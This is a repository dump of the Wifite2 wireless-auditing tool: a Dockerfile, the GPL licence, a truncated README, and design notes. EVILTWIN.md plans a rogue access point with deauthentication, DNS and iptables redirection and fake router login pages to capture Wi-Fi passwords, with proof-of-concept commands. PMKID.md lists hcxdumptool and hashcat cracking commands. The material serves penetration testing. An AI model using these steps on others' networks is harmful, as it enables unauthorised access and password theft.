[
  {
    "path": ".gitignore",
    "content": "*.swp\n*.pyc\npy/hs/\nhs/\n*.bak\n.idea/\ncracked.txt\nMANIFEST\ndist/\nbuild/\nfiles.txt\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:2.7.14-jessie\n\nENV DEBIAN_FRONTEND noninteractive\nENV HASHCAT_VERSION hashcat-3.6.0\n\n# Install requirements\nRUN echo \"deb-src http://deb.debian.org/debian jessie main\" >> /etc/apt/sources.list\nRUN apt-get update && apt-get upgrade -y\nRUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y\nRUN apt-get build-dep aircrack-ng -y\n\n\n\n#Install Aircrack from Source\nRUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz\nRUN tar xzvf aircrack-ng-1.2-rc4.tar.gz\nWORKDIR /aircrack-ng-1.2-rc4/\nRUN make\nRUN make install\nRUN airodump-ng-oui-update\n\n# Workdir /\nWORKDIR /\n\n# Install wps-pixie\nRUN git clone https://github.com/wiire/pixiewps\nWORKDIR /pixiewps/\nRUN make\nRUN make install\n\n\n# Workdir /\nWORKDIR /\n\n\n# Install bully\nRUN git clone https://github.com/aanarchyy/bully\nWORKDIR /bully/src/\nRUN make\nRUN make install\n\n\n\n# Workdir /\nWORKDIR /\n\n#Install and configure hashcat\nRUN mkdir hashcat && \\\n    cd hashcat && \\\n    wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \\\n    7zr e ${HASHCAT_VERSION}.7z\n\n\n#Add link for binary\nRUN ln -s /hashcat/hashcat-cli64.bin /usr/bin/hashcat\n\n\n# Install reaver\nRUN git clone https://github.com/gabrielrcouto/reaver-wps.git\nWORKDIR /reaver-wps/src/\nRUN ./configure\nRUN make\nRUN make install\n\n# Workdir /\nWORKDIR /\n\n# Install cowpatty\nRUN git clone https://github.com/roobixx/cowpatty.git\nWORKDIR /cowpatty/\nRUN make\n\n# Workdir /\nWORKDIR /\n\n# Install wifite\nRUN git clone https://github.com/derv82/wifite2.git\nWORKDIR /wifite2/\nENTRYPOINT [\"/bin/bash\"]\n\n\n"
  },
  {
    "path": "EVILTWIN.md",
    "content": "An idea from Sandman: Include \"Evil Twin\" attack in Wifite.\n\nThis page tracks the requirements for such a feature.\n\nEvil Twin\n=========\n\n[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.\n\nThe attack requires multiple wireless cards:\n\n1. Hosts the twin.\n2. Deauthenticates clients.\n\nAs clients connect to the Evil Twin, they are redirected to a fake router login page.\n\nClients enter the password to the target AP. The Evil Twin then:\n\n1. Captures the Wifi password,\n2. Verifies Wifi password against the target AP,\n3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.\n4. Otherwise, tell the user the password is invalid and to \"try again\". GOTO step #1.\n\nBelow are all of the requirements/components that Wifite would need for this feature.\n\n\nDHCP\n====\nWe need to auto-assign IP addresses to clients as they connect (via DHCP?).\n\n\nDNS Redirects\n=============\nAll DNS requests need to redirect to the webserver:\n\n1. So we clients are encouraged to login.\n2. So we can intercept health-checks by Apple/Google\n\n\nRogue AP, Server IP Address, etc\n================================\nProbably a few ways to do this in Linux; should use the most reliable & supported method.\n\nMainly we need to:\n\n1. Spin up the Webserver on some port (8000)\n2. Start the Rogue AP\n3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)\n4. Start DNS-redirecting all hostnames to 192.168.1.254.\n5. Start DHCP to auto-assign IPs to incoming clients.\n6. Start deauthing clients of the real AP.\n\nI think steps 3-5 can be applied to a specific wireless card (interface).\n\n* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.\n   * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)\n   * Kali \"Evil Wireless AP\" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)\n   * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)\n* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?\n   * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).\n\n\nROGUE AP\n========\nGleaned this info from:\n\n* [\"Setting up wireless access point in Kali\"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack\n* [\"Kali Linux Evil Wireless Access Point\"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity\n* [\"SniffAir\" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)\n\n\nHOSTAPD\n-------\n* Starts access point.\n* Not included in Kali by-default.\n* Installable via `apt-get install hostapd`.\n* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)\n\nConfig file format (e.g. `~/hostapd.conf`):\n\n```\ndriver=nl80211   # 'nl80211' appears in all hostapd tutorials I've found.\nssid=$EVIL_SSID  # SSID/name of Evil Twin (should match target's)\nhw_mode=$BAND    # Wifi Band, e.g. \"g\" or \"g+n\"\nchannel=$CHANNEL # Numeric, e.g. \"6'\n```\n\nRun:\n\n```\nhostapd ~/hostapd.conf -i wlan0\n```\n\n\nDNSMASQ\n-------\n\n* Included in Kali.\n* Installable via `apt-get install dnsmasq`\n* Handles DNS and DHCP.\n* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)\n\nConfig file format (e.g. `~/dnsmasq.conf`):\n\n```\ninterface=wlan0\ndhcp-range=10.0.0.10,10.0.0.250,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\n#no-resolv\nserver=8.8.8.8\nlog-queries\nlog-dhcp\n\n# Redirect all requests (# is wildcard) to IP of evil web server:\n# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...\n#address=/#/192.168.1.254\n```\n\n\"DNS Entries\" file format (`~/dns_entries`):\n\n```\n[DNS Name] [IP Address]\n# TODO: Are wildcards are supported?\n* 192.168.1.254 # IP of web server\n```\n\nRun:\n\n```\ndnsmasq -C ~/dnsmasq.conf -H ~/dns_entries\n```\n\nIPTABLES\n--------\nFrom [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)\n\n> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*\n> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80`\n\nAnd from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)\n\n> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*\n> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`\n> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`\n\nTODO:\n\n* What about HTTPS traffic (port 443)?\n   * We want to avoid browser warnings (scary in Chrome & Firefox).\n   * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.\n   * sslstrip may get around this...\n\n\nDEAUTHING\n=========\nWhile hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.\n\nListening\n---------\nWe need to listen for more clients and automatically start deauthing new clients as they appear.\n\nThis might be supported by existing tools...\n\nMDK\n---\nDeauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.\n\nI think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.\n\nTODO: Require MDK if it is miles-ahead of `aireplay-ng`\nTODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.\n\n\nWebsite\n=======\n\nRouter Login Pages\n------------------\nThese are different for every vendor.\n\nFluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.\n\nWe need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.\n\nWe also need a \"generic\" login page in case we don't have the page for a vendor.\n\n1. Web server to host HTML, images, fonts, and CSS that the vendor uses.\n3. Javascript to send the password to the webserver\n\n\nLanguage Support\n----------------\nNote: Users should choose the language to host; they know better than any script detection.\n\nEach router page will have a warning message telling the client they need to enter the Wifi password:\n   * \"Password is required after a router firmware update\"\n\nThe Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.\n\nThen only the warning message needs to be templatized by-language (we only need one sentence per language).\n\nThat would avoid the need for separate \"sites\" for each Vendor *and* language.\n\nBut we probably need other labels to be translated as well:\n\n* Title of page (\"Router Login Page\")\n* \"Password:\"\n* \"Re-enter Password:\"\n* \"Reconnect\" or \"Login\"\n\n...So 5 sentences per language. Not bad.\n\nThe web server could send a Javascript file containing the language variable values:\n\n```javascript\ndocument.title = 'Router Login';\ndocument.querySelector('#warn').textContent('You need to login after router firmware upgrade.');\ndocument.querySelector('#pass').textContent('Password:');\n// ...\n```\n\n\nOne HTML File\n-------------\nWe can compact everything into a single HTML file:\n\n1. Inline CSS\n2. Inline images (base64 image/jpg)\n3. Some placeholders for the warning message, password label, login button.\n\nThis would avoid the \"lots of folders\" problem; one folder for all .html files.\n\nE.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.\n\n\nAJAX Password Submission\n------------------------\nThe website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).\n\nEasy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).\n\n\nWebserver\n=========\nThe websites served by the webserver is dynamic and depends on numerous variables.\n\nWe want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.\n\n\nSpoofing Health Checks\n----------------------\nSome devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.\n\nWe want to spoof those webpages *exactly* so the client's device shows the Evil Twin as \"online\".\n\nFluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *\"Connectivity Responses\"*).\n\nSpecifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).\n\nRequirements:\n\n* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).\n\nTODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.\n\n\nHTTPS\n-----\nWhat if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?\n\n\nSpoofing Router Login Pages\n---------------------------\nWe can detect the router vendor based on the MAC address.\n\nIf we have a fake login page for that vendor, we serve that.\n\nOtherwise we serve a generic login page.\n\nTODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?\n\n\nPassword Capture\n----------------\nWebserver needs to know when a client enters a password.\n\nThis can be accomplished via a simple CGI endpoint or Python script.\n\nE.g. `login.cgi` which reads `password1` and `password2` from the query string.\n\n\nPassword Validation\n-------------------\nThe Webserver needs to know when the password is valid.\n\nThis requires connecting to the target AP on an unused wireless card:\n\n1. First card is hosting the webserver. It would be awkward if that went down.\n2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.\n3. ...A third wifi card may make this cleaner.\n\nTODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.\nTODO: Choose the fastest & most-relaiable method for verifying wifi paswords\n\n\nEvil Webserver & Deauth Communication\n-------------------------------------\nThe access point hosting the Evil Twin needs to communicate with the Deauth mechanism:\n\n1. Which BSSIDs to point to the Evil Twin,\n2. Which BSSIDs to point to the real AP.\n\nSince the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.\n\nSo the webserver would need to maintain:\n\n1. List of BSSIDs to deauth from real AP (so they join Evil Twin),\n2. List of BSSIDs to deauth from Evil Twin (so they join real AP),\n3. Background process which is deauthing the above BSSIDs on a separate wireless card.\n\nI am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. \"Shutting down\" or \"Waiing for password\").\n\nTODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.\nTODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)\n\n\nSuccess & Cleanup\n-----------------\nWhen the password is found, we want to send a \"success\" message to the AJAX request, so the user gets instant feedback (and maybe a \"Reconnecting...\" message).\n\nDuring shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.\n\nThis deauthing should continue until all clients are deauthenticated from the Evil Twin.\n\nThen the script can be stopped.\n\n\nProof of Concept\n================\n\nStart AP and capture all port-80 traffic:\n\n```\nifconfig wlan0 10.0.0.1/24 up\n\n# start dnsmasq for dhcp & dns resolution (runs in background)\nkillall dnsmasq\ndnsmasq -C dnsmasq.conf\n\n# reroute all port-80 traffic to our machine\niptables -N internet -t mangle\niptables -t mangle -A PREROUTING -j internet\niptables -t mangle -A internet -j MARK --set-mark 99\niptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1\necho \"1\" > /proc/sys/net/ipv4/ip_forward\niptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT\niptables -A FORWARD -m mark --mark 99 -j REJECT\niptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT\niptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE\n\n# start wifi access point (new terminal)\nkillall hostapd\nhostapd ./hostapd.conf -i wlan0\n\n# start webserver on port 80 (new terminal)\npython -m SimpleHTTPServer 80\n```\n\nCleanup:\n\n```\n# stop processes\n# ctrl+c hostapd\n# ctrl+c python simple http server\nkillall dnsmasq\n\n# reset iptables\niptables -F\niptables -X\niptables -t nat -F\niptables -t nat -X\niptables -t mangle -F\niptables -t mangle -X\n```\n\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {description}\n    Copyright (C) {year}  {fullname}\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  {signature of Ty Coon}, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include README.md\ninclude wordlist-top4800-probable.txt\n"
  },
  {
    "path": "PMKID.md",
    "content": "### PMKID Attack\n\nSee https://hashcat.net/forum/thread-7717.html\n\n### Steps\n\n1. Start `hcxdumptool` (daemon)\n   * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`\n   * Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client\n   * Could be a new attack type: `wifite.attack.pmkid`\n2. Detect when PMKID is found.\n   * `hcxpcaptool -z pmkid.16800 pmkid.pcapng`\n   * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).\n3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)\n   * New result type: `pmkid_result`\n   * Add entry to `cracked.txt`\n4. Run crack attack using hashcat:\n   * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`\n\n### Problems\n\n* Requires latest hashcat to be installed. This might be in a different directory.\n   * Use can specify path to hashcat? Yeck...\n   * % hashcat -h | grep 16800\n   * 16800 | WPA-PMKID-PBKDF2\n* If target can't be attacked... we need to detect this failure mode.\n   * Might need to scrape `hcxdumptool`'s output\n   * Look at `pmkids()` func in .bashrc\n   * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null\n   * Check OUTPUT.16800 for the ESSID.\n* Wireless adapter support is minimal, apparently.\n* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily\n\n"
  },
  {
    "path": "README.md",
    "content": "Wifite\n======\n\nThis repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.\n\nWifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!\n\nWifite is designed to use all known methods for retrieving the password of a wireless access point (router).  These methods include:\n1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)\n1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack)\n2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.\n3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.\n4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.\n\nRun wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.\n\nSupported Operating Systems\n---------------------------\nWifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.\n\nOther pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used 